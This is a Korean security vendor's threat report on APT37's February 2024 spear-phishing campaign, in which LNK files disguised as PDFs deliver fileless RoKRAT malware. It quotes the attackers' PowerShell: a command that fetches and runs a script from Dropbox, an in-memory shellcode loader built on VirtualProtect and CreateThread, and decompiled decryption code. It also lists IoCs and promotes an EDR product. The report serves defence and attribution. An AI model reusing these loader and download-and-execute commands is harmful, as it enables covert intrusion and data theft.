위협분석보고서-genians

APT37 그룹의 RoKRAT 파일리스 공격 증가

Written by Genians | Mar 27, 2024 12:00:00 AM

◈ 주요 요약 (Executive Summary)

  • 북한관련 질문지, 원고자료, 안보칼럼, 기고문, 월간지 등 사칭
  • ZIP 압축 파일 내부에 LNK 유형의 악성 파일을 숨겨 전달
  • DropBox, pCloud 등 클라우드 저장소를 공격 거점으로 악용
  • APT37 그룹의 지속적인 RoKRAT 파일리스 기반 공격 진행
  • Genian EDR을 통해 LNK 및 PowerShell 단계별 조기 탐지

1. 개요 (Overview)

○ 지니언스 시큐리티 센터(이하 GSC)는 설날 연휴가 끝나가는 2024년 2월 12일(월)부터 당월 말까지 수행된 다수의 APT37 소행 위협 캠페인을 식별했습니다. 이들은 △라자루스(Lazarus) △김수키(Kimsuky) △코니(Konni) 등과 함께 한국을 대상으로 한 주요 국가배후 위협 그룹 중 하나입니다. APT37은 주로 북 인권단체, 북한 취재 기자, 탈북민 등 주로 대북분야 종사자를 겨냥해 지속적으로 스피어 피싱을 수행 중 입니다.

○ GSC는 실제 사례별 심층 분석을 통해 LNK 파일에 내장된 PowerShell 명령이 초기 공격에 꾸준히 활용됨을 확인했습니다. 이는 위협 행위자 관점에서 Anti-Virus 탐지 회피에 어느정도 효과가 입증됐을 것입니다. 더불어 암호화된 RoKRAT 악성코드를 파일리스 기반으로 실행해 단말 정보를 수집 후 은밀히 해외 클라우드 서버로 유출합니다.

 

[그림 1] APT37 그룹의 RoKRAT 공격 흐름도

 

2.  공격 시나리오 (Attack Scenario)

○ 1~2월 기준 국내서 가장 많이 관찰된 초기 침투 유형은 역시나 스피어 피싱입니다. 이메일을 통한 공격 수법은 여전히 효과가 좋고, 위협 행위자 입장에서 가성비 높은 전략입니다. 분야별 공격 대상자 선별부터 맞춤형 시나리오 구성까지 쉽고 빠르게 접근할 수 있는 점을 무시할 수 없습니다.

○ 이런 공격에 있어 악성 파일 실행 유도는 무척 중요한 절차입니다. 주요 단말에 특정 Anti-Virus 제품이 설치돼 있다는 가정하에 초기 공격 시나리오가 설계됩니다. 따라서 위협 행위자는 이러한 일차 방어를 회피하기 위해 시그니처 기반 탐지 우회가 가능하도록 준비합니다.

 

[그림 2] 스피어 피싱 공격 화면 (일부 블러 처리)

 

○ 위협 행위자는 마치 북한관련 연구 분야에 소속된 것처럼 신분을 위장했습니다. 그 다음 이메일에 '북한총람(2011-2023).zip' 압축 파일을 첨부해 다운로드를 유도합니다.

○ 첨부파일은 이메일 본문 상단에 대용량 링크 방식의 첨부파일 형태로 디자인 후 삽입했고, 드롭박스(DropBox) 클라우드 저장소를 활용했습니다. 위협 행위자가 직접 가입해 사용 중인 것으로 보입니다. 화면에는 국내 이메일 서비스의 대용량 첨부파일 기능처럼 다운로드 기한과 횟수가 표시돼 있지만, 실제 서비스 내용처럼 위장한 수법입니다.

 

3.  악성파일 분석 (Malware Analysis)

○ 이메일내 링크 방식으로 첨부된 '북한총람(2011-2023).zip' 압축 파일은 별도의 비밀번호가 설정돼 있지 않습니다. 위협 행위자들은 보안 탐지 회피나 분석 방해 목적으로 암호를 설정해 공격하는 전략도 사용합니다.

○ 압축 파일에는 '2023년 북한10대뉴스.pdf' 정상 문서와 'General view of North Korea 240226.lnk' 이름의 바로가기(LNK) 악성 파일이 존재합니다. LNK는 이중 확장자를 사용하지 않았고, PDF 아이콘으로 위장했습니다.

 

[그림 3] PDF 문서로 위장된 LNK 악성파일 모습

 

○ 이번 케이스 경우 의심을 줄이기 위해 정상 PDF 문서을 함께 포함했습니다. 폴더옵션에 확장자 숨기기가 설정된 경우 보통 아이콘을 통해 파일 종류를 구별합니다. 하지만 LNK 바로가기 파일은 확장자를 보기 어렵기에 아이콘 좌측 하단에 포함된 화살표를 유심히 살펴봐야 합니다. 

○ PDF 문서에 연결된 다른 Reader가 설치된 경우 정상 PDF 문서는 별도 아이콘으로 보일 수 있습니다. 하지만 악성 LNK 파일의 경우 내부에 MS Edge 웹 브라우저의 아이콘으로 설정돼 있어 바뀌지 않습니다.

 

[그림 4] Edge 아이콘 리소스로 선택된 LNK 악성파일 모습

 

○ 이처럼 아이콘이 서로 다르게 보이거나, 작은 화살표가 포함된 경우라면 LNK 유형의 악성 파일을 육안으로 구분해 낼 수도 있습니다.

○ 만약 APT 공격 동향과 기술에 따른 고유 특성을 습득하고 있다면, 파일 내부에 은닉된 코드를 분석하기 전에 악성 가능 여부를 판단하는 기초 자료가 될 수 있습니다.

○ 'General view of North Korea 240226.lnk' 파일 내부에는 다음과 같은 PowerShell 명령을 포함하고 있습니다.

 

[그림 5] LNK 내부의 PowerShell 명령  (일부 블러 처리)

 

○ 악성코드는 PowerShell 명령을 통해 [0x50, 0x4b, 0x03, 0x04] 4바이트가 있는 오프셋을 확인합니다. 그리고 해당 4바이트 이후에 존재하는 [0x25, 0x50, 0x44, 0x46, 0x2D, 0x31, 0x2E, 0x34] 오프셋부터 24,941,643 바이트를 카운트 합니다.

 

$startAddress = 0; $fileBytes = Get-Content -Path $lnkFilePath -Encoding Byte -Raw;$a5=0x50;$b4=0x4b;$c3=0x03;$d4=0x04; for ($i = 0; $i -lt $fileBytes.Length; $i++){ if ($fileBytes[$i-eq $a5){if ($fileBytes[$i+1-eq $b4){if ($fileBytes[$i+2-eq $c3){if ($fileBytes[$i+3-eq $d4){$startAddress = $i + 4 ;break;}}}}}$byteCount = 24941643;$NormalFileName = $lnkFilePath -replace 'lnk', 'pdf';

[표 1] 정상 PDF 문서를 호출하는 PowerShell 명령어

 

○ [0x25, 0x50, 0x44, 0x46, 0x2D, 0x31, 0x2E, 0x34] 값은 ASCII 값으로 [%PDF-1.4] 문자열을 가지고 있으며, 정상 PDF 문서의 시작을 표시합니다. 그리고 '24,941,643' 숫자는 전체 PDF 문서의 크기를 의미하며, LNK 파일을 정상 PDF 파일로 교체합니다.

 

[그림 6] LNK 내부에 삽입된 PDF 정상 문서 코드

 

○ 참고로 [0x50, 0x4b, 0x03, 0x04] 값은 압축 파일 데이터에서 사용되는 값으로 마치 PK(ZIP) 포맷처럼 위장했습니다. 그리고 다른 LNK 기반 PowerShell 명령의 공격 사례를 비교해보면, 'Invoke-WebRequest' 명령을 통해 지정된 클라우드 저장소에서 미끼 문서를 호출해 사용했지만, 이번 케이스는 LNK 내부에 포함된 특징을 가집니다. 따라서, LNK 파일이 PDF 등의 문서로 교체되는 변화 과정을 이상행위로 탐지하는 것도 가능합니다.

 

[그림 7] LNK 내부에 삽입된 정상 PDF 문서 실행 모습

 

○ 앞서 공격 초기에 사용된 압축 파일 내부에는 '2023년 북한10대뉴스.pdf' 이름의 또 다른 정상 PDF 문서를 사용했습니다. 이처럼 위협 행위자들은 실제 존재하는 문서를 악용해 공격 미끼로 사용하고 있습니다.

○ 미끼 문서로 사용된 '2023년 북한10대뉴스.pdf' 문서가 실행되면 실제 관련 내용이 담긴 화면이 나타납니다. 공격 의심을 최대한 피하기 위해 실존 자료를 도용해 사용하고 있는 것입니다. 이러한 자료는 인터넷에 공개된 것을 가져다 사용하거나 또는 다른 해킹된 피해자로 부터 탈취한 정보를 공격에 활용하기도 합니다. 

 

[그림 8] '2023년 북한10대뉴스.pdf' 실행된 화면

 

○ 그 다음 PowerShell 명령은 LNK 내부에 은닉된 Shellcode 영역을 호출하게 됩니다. 이때 파일단위 시그니처 기반의 보안 탐지 회피를 위해 파일리스(Fileless) 전략을 구사합니다.

 

($fileBytes[$j-eq 0x55){if ($fileBytes[$j+1-eq 0x8B){if ($fileBytes[$j+2-eq 0xEC){if ($fileBytes[$j+3-eq 0x83){$SecondAddress = $j;break;}}}}}$byteCount=889858; $Resource = $fileBytes[$SecondAddress..($SecondAddress + $byteCount - 1)];Remove-Item -Path $lnkFilePath -Recurse -Force; $webClient = New-Object Net.WebClient;$string = $webClient.DownloadString('https://dl.dropboxusercontent.com/(생략)/september.txt?rlkey=(생략)');$scriptBlock = [scriptblock]::Create($string);& $scriptBlock;" &&   cls &&exit

[표 2] Shellcode 영역을 호출하는 PowerShell 명령어

 

○ 오프셋 값 [0x55, 0x8B, 0xEC, 0x83] 4바이트에서 889,858 크기를 지정합니다. 그리고 드롭박스 저장소에서 'september.txt' 파일을 호출합니다. 'september.txt' 파일에는 다음과 같은 PowerShell 스크립트가 포함돼 있습니다. 

 

[Net.ServicePointManager]::SecurityProtocol=[Enum]::ToObject([Net.SecurityProtocolType], 3072);$a90234s='[DllImport("kernel32.dll")]public static extern IntPtr GlobalAlloc(uint b,uint c);';$b=Add-Type -MemberDefinition $a90234s -Name 'AAA'  -PassThru;$d3s9sdf = '[DllImport("kernel32.dll")]public static extern bool VirtualProtect(IntPtr a,uint b,uint c,out IntPtr d);';$a90234sb=Add-Type -MemberDefinition $d3s9sdf -Name 'AAB' -PassThru;$b3s9s03sfse='[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr a,uint b,IntPtr c,IntPtr d,uint e,IntPtr f);';$cake3sd23=Add-Type -MemberDefinition $b3s9s03sfse -Name 'BBB' -PassThru;$dtts9s03sd23='[DllImport("kernel32.dll")]public static extern IntPtr WaitForSingleObject(IntPtr a,uint b);';$fried3sd23=Add-Type -MemberDefinition $dtts9s03sd23 -Name 'DDD' -PassThru;$buffer = $b::GlobalAlloc(0x0040, $byteCount + 0x100);$old = 0;$a90234sb::VirtualProtect($buffer, $byteCount + 0x100, 0x40, [ref]$old); for($i = 0;$i -lt $byteCount;$i++){[System.Runtime.InteropServices.Marshal]::WriteByte($buffer, $i, $Resource[$i]);};$handle=$cake3sd23::CreateThread(0,0,$buffer,0,0,0);$fried3sd23::WaitForSingleObject($handle, 500*1000);

[표 3] 드롭박스에서 호출되는 PowerShell 스크립트

 

○ 위협 행위자는 드롭박스 저장소에 PowerShell 명령을 숨겨 은닉성을 강화했습니다. 호출된 스크립트는 'GlobalAlloc' 함수로 메모리를 할당하고, 'VirtualProtect' 함수로 메모리 보호 설정값을 변경합니다. 그리고 'WriteByte' 함수로 할당된 데이터를 쓰고, 'CreateThread' 함수로 새로운 스레드를 시작하고, WaitForSingleObject 함수로 종료될 때까지 대기합니다.

○ 앞서 설명한 889,858 바이트는 [0x55, 0x8B, 0xEC, 0x83] 바이트로 시작하며, 암호화된 형태로 구성된 Shellcode 집합으로 복호화 과정을 거치게 됩니다. Shellcode 부분이 메모리 기반으로 실행되기 때문에 로컬에 존재하는 파일 시그니처 기반으로 탐지가 어렵게 됩니다.

○ APT37 그룹의 위협 활동 대부분이 파일리스 기반 공격으로 수행되고 있기 때문에 초기 유입당시 이상행위를 식별하는 것이 무엇보다 중요합니다.

 

[그림 9] Shellcode 영역 화면

 

○ Shellcode 명령을 분석해 보면, 암호화된 데이터를 실행 파일로 변환하고 호출하게 됩니다.

 

int __fastcall sub_40120E(char *a1, int a2)

{

 unsigned int v2; // esi

 int (__stdcall *v3)(_DWORD, int, int, int); // eax

 int v4; // ebx

 unsigned int i; // ecx

 int v6; // esi

 void (__stdcall *v7)(int, _DWORD, int); // eax

 char v11; // [esp+2Bh] [ebp-1h]

 v2 = *(_DWORD *)(a1 + 1);

 v11 = *a1;

 do

 {

   v3 = (int (__stdcall *)(_DWORD, int, int, int))sub_4010A3((void *)0x21FFC20);

   v4 = v3(0, v2 + 256, 12288, 4);

 }

 while ( !v4 );

 for ( i = 0; i < v2; ++i )

   *(_BYTE *)(i + v4) = v11 ^ a1[i + 5];

 v6 = sub_4013F4(a2);

 if ( v6 )

   v6 = 13;

 v7 = (void (__stdcall *)(int, _DWORD, int))sub_4010A3((void *)0xCDDB696F);

 v7(v4, 0, 0x8000);

 return v6;

}

[표 4] Shellcode 내부에 포함된 복호화 로직



○ 복호화 로직 함수를 통해 LNK 하위 영역에 Shellcode 블록과 함께 은닉된 부분이 EXE 파일로 변환되고, 메모리 상에서 실행됩니다.

 

[그림 10] Shellcode 분석 디버거 화면

 

○ 메모리 상에서만 실행되는 이 코드를 분석해 보면, APT37 그룹이 내부 침투 및 정찰에 활용하는 RoKRAT 악성코드 변종을 확인할 수 있습니다.

○ RoKRAT 도구는 악성코드 내부에 '--wwjaughalvncjwiajs--' 문자열이 발견되는 고유한 특징이 있는데, 이번 변종에도 동일하게 발견됩니다. 이 내용은 2023년 5월 23일 '지니언스 위협 분석 보고서'에 언급된 바 있습니다. 더불어 미국 국토안보부 산하기관인 CISA의 2020년 5월 12일 'MAR-10160323-1.v2' 분석 보고서 등에 인용됐습니다.

○ 이처럼 RoKRAT 도구는 오래전 부터 계속 활용되는 위협 지표이고, 지속적으로 변종이 제작되고 있습니다.

 

4.  RoKRAT 소개 (About RoKRAT)

○ APT37 그룹의 RoKRAT은 2017년 4월, 시스코 탈로스의 '폴 라스카네레스' 위협 분석가에 의해 소개됐습니다. 'RoK' 명명법에 대해 구체적으로 공개되지 않았지만, 한국대상 위협 보고서라는 점에서 'Republic of Korea' 약자일 것으로 관측됩니다.

○ RoKRAT은 기본적으로 'System Management BIOS(SMBIOS)' 등을 이용해 이용자 단말 정보를 수집하고, 위협 행위자 의도와 명령에 따라 추가 악성코드 설치가 진행됩니다. 그리고 △피클라우드(pCloud) △얀덱스(Yandex) △원드라이브(OneDrive) △드롭박스(DropBox) △구글드라이브(GoogleDrive) 등 합법적인 클라우드 플랫폼을 활용하는 특징이 있습니다.

○ 특히, 단말에 존재하는 [.XLS] [.DOC] [.PPT] [.TXT] [.M4A] [.AMR] [.PDF] [.HWP] 등의 확장자를 가진 문서와 휴대폰 녹음파일을 수집해 명령제어(C2) 서버로 유출을 시도합니다. 본 사례의 RoKRAT 악성 코드는 스위스 소재의 회사로 알려진 '피클라우드 (pCloud)' 이름의 저장소를 C2 인프라로 사용 중이며, 꾸준히 악용되는 추세입니다.

 

[그림 11] RoKRAT 악성 코드 pCloud API 사용 화면

 

○ 피클라우드 플랫폼이 RoKRAT 활동 거점으로 지속 발견되고 있습니다. 기업이나 기관 내부에서 정식으로 사용하는 클라우드 서비스가 아니라면 사전에 접근을 제한하거나 모니터링 하는 것도 좋은 예방법 중에 하나가 될 수 있습니다.

 

[그림 12] pCloud 접속을 위한 Token 호출 그래프

 

○ 웹에는 원격제어 기능의 오픈소스 기반 RAT(Remote Administration Tool) 종류가 다수 존재합니다. 하지만, RoKRAT 시리즈처럼 정보탈취 목적으로 개발된 이후 이처럼 오랜기간 활동을 이어가는 종류는 소수입니다.

○ 앞서 기술한 바와 같이 본 위협 케이스는 피클라우드 API Token 방식을 통해 피해자 단말 정보를 탈취합니다. 이때 사용되는 Token 값의 Userinfo 값에 특정 이메일 주소가 사용됐습니다.

 

 "email": "softpower21cs@gmail.com",
"currency": "USD",
"language": "en",
"registered": "Tue, 09 May 2023 08:26:46 +0000",

[표 5] RoKRAT pCloud 등록자 정보

 

○ 'softpower21cs@gmail.com' G메일 주소는 지난 2023년 중순 때부터 최근까지 APT37 캠페인에서 지속적으로 발견되었습니다.

 

[그림 13] 북한이탈주민 초빙강의 위장 공격 사례 (일부 블러 처리)

 

○ 2023년 6월 6일 보고된 APT37 캠페인의 경우 '북한이탈주민 초빙강의.zip' 파일이 원드라이브를 통해 배포된 이력이 있습니다. 당시 원드라이브에 파일을 추가한 이름은 'sandoz messi'이며, LNK 악성코드는 '스테가노그래피' 기법을 이용해 'myphoto2.jpg' 사진처럼 위장된 RoKRAT 파일을 원드라이브 통해 호출됩니다.

○ 이때 발견된 RoKRAT 악성 파일은 피클라우드 서버로 통신하고, 사용된 이메일은 'softpower21cs@gmail.com' 주소가 발견됐습니다. 또한, RoKRAT 파일 내부에 다음과 같은 PDB 경로가 발견됐습니다. 과거에 이와 관련된 유사 변종이 다수 존재합니다.

 

D:\Sources\MainWork\Group2017\Sample\Release\DogCall.pdb

 

[그림 14] 2023년 발견된 RoKRAT 내부에 포함된 PDB 화면

 

 ○ 'DogCall.pdb' 문자열이 포함된 백도어는 'MITRE ATT&CK' 소프트웨어 항목에 포함돼 있으며, 2017년부터 계속 발견된 바 있습니다.

○ 'softpower21cs@gmail.com' 이메일은 'sandozmessi@gmail.com' 주소의 복구 계정으로 연결되어 있습니다. 앞서 기술했던 원드라이브에서 발견된 'sandoz messi' 이름과도 동일합니다.

 

[그림 15] 인증용 이메일로 연결된 화면

 

○ 한편, 2024년 1월 26일에는 안드로이드용 모바일 스카이프(Skype) 메신저로 위장한 악성앱 유포가 식별된 바 있습니다.

 

[그림 16] 스카이프 안드로이드 앱 위장 화면

 

○ 그 당시 'skype.apk' 악성앱은 드롭박스 링크를 통해 전달됐고, 공격에 쓰인 표현 중에는 △판본 △되였습니다 △내리적재 등이 발견됐습니다. 그리고 APK 안드로이드 악성앱 내부에서 C2용 피클라우드 토큰키가 사용됐습니다. 해당 클라우드의 이용자 정보에서 'sandozmessi@gmail.com' 이메일 주소가 확인됐습니다.

 

[그림 17] APK 악성앱에 포함된 피클라우드 토큰 화면

 

○ APT37 그룹은 다양한 플랫폼 기반의 공격전략을 개발해 구사하고 있습니다. 따라서 오랜기간 지속적인 관찰과 위협 연구를 통해 연결고리를 식별해야 합니다.

 

[그림 18] APT37 관련 키워드 구성 화면

 

5. 결론 및 대응방법 (Conclusion)

○ 지난 해 하반기부터 현재까지 한국내에서 발생한 스피어 피싱에 사용된 악성코드 유형을 분석해 본 결과, 단연코 LNK Shortcut 기반의 공격이 가장 두드러진다 말할 수 있습니다.

○ 위협의 지속성이 유지된다는 의미는 그만큼 공격 ROI(투자 대비 효과) 결과가 나름 좋다고 평가됩니다. 공격에 사용된 LNK 파일은 내부코드 및 명령 패턴이 꾸준히 바뀌고 있고, 파일리스 기술을 동원해 시그니처 탐지 회피를 적용 중입니다.

○ 이처럼 진화하는 APT 공격을 보다 효과적으로 대응하기 위해 알려진 IoC(침해지표) 식별은 물론, 단말 이상행위 탐지대응이 무엇보다 중요합니다. Genian EDR 솔루션은 단말을 노린 표적 공격의 유입단계부터 이상행위 활동을 완벽하게 탐지해 대응이 가능합니다.

○ GSC는 본 보고서에 기술된 위협사례를 Genian EDR 제품이 설치된 가상 환경에서 모의해킹 과정을 수행했습니다. 공격 시뮬레이션 결과 동일 또는 유사 위협을 조기에 탐지/대응할 수 있음을 검증했습니다.

 

[그림 19] 압축해제 통해 생성된 LNK 파일을 Genian EDR에서 탐지한 모습

 

○ 위협 행위자가 유포한 ZIP 압축을 해제하는 과정부터 의심스러운 LNK 파일을 Genian EDR의 XBA 이상행위 규칙에서 즉시 탐지합니다.

 

[그림 20] PowerShell 명령을 통해 드롭박스 명령을 수신하는 모습

 

○ PowerShell 명령은 위협 행위자가 사용한 드롭박스에서 명령을 수신하는데, 이 네트워크 접속 과정도 Genian EDR 서비스가 조기 탐지합니다. 이를 통해 보안 담당자는 후속 조치를 수행할 수 있습니다.

 

[그림 21] RoKRAT 파일리스 활동으로 pCloud 접속 탐지

 

○ RoKRAT 악성코드는 파일리스로 은밀하게 pCloud 서버로 통신을 수행합니다. 이때도 Genian EDR은 PowerShell 커맨드 라인 및 네트워크 통신시도를 이상행위로 간주합니다.

○ 이와 같이 EDR 보안 관리자는 사내 단말에 유입된 최신 위협을 조기에 식별할 수 있습니다. 그리고 정책설정을 통해 적절한 대응 조치를 수행하고, 침해요소를 자세히 파악할 수 있습니다.

○ 기업 및 기관의 보안 관리자는 EDR 솔루션으로 확보한 각종 이벤트와 아티팩트 정보를 기반으로 알려지지 않은 위협까지 종합적으로 대응방안을 수립할 수 있습니다. 지니안 EDR은 단말의 부팅부터 종료까지 모든 I/O 정보를 수집하고 실행 프로그램의 동작 방식을 가시성 있게 조회할 수 있습니다.

○ 국내에서 발생하는 APT 공격은 갈수록 국지적이며, 은밀화되는 추세입니다. 그리고 위험 수위도 갈수록 커집니다. 내부 시스템으로 유입된 악성파일 하나가 예기치 못한 침해사고로 이어진 사례도 많습니다. 이렇듯 작은 위협요소 하나 놓치지 않고 식별할 수 있는 대안 중에 하나가 바로 EDR 기능을 적극 활용하는 방법입니다.

 

6. 주요 침해 지표 (Indicator of Compromise)

● MD5
7bce02dc0026e271615d4d0e441ca397
ad2761910997c801b3347bd3745dd2b9
bdf18a2d9a94c348cac9efc51d59a75a
81a7d6f88c0fb1705a16fc59ad261f35
aff44804011d77e1050b912b6e6a62c5
491947a5c5b97355989f674114e59a31
0ee76a97449a20eed335b4db7327cb44
fe5520783f715549cc3c4df9deaf89bf

● Email
w.sarah0808@gmail.com
softpower21cs@gmail.com
sandozmessi@gmail.com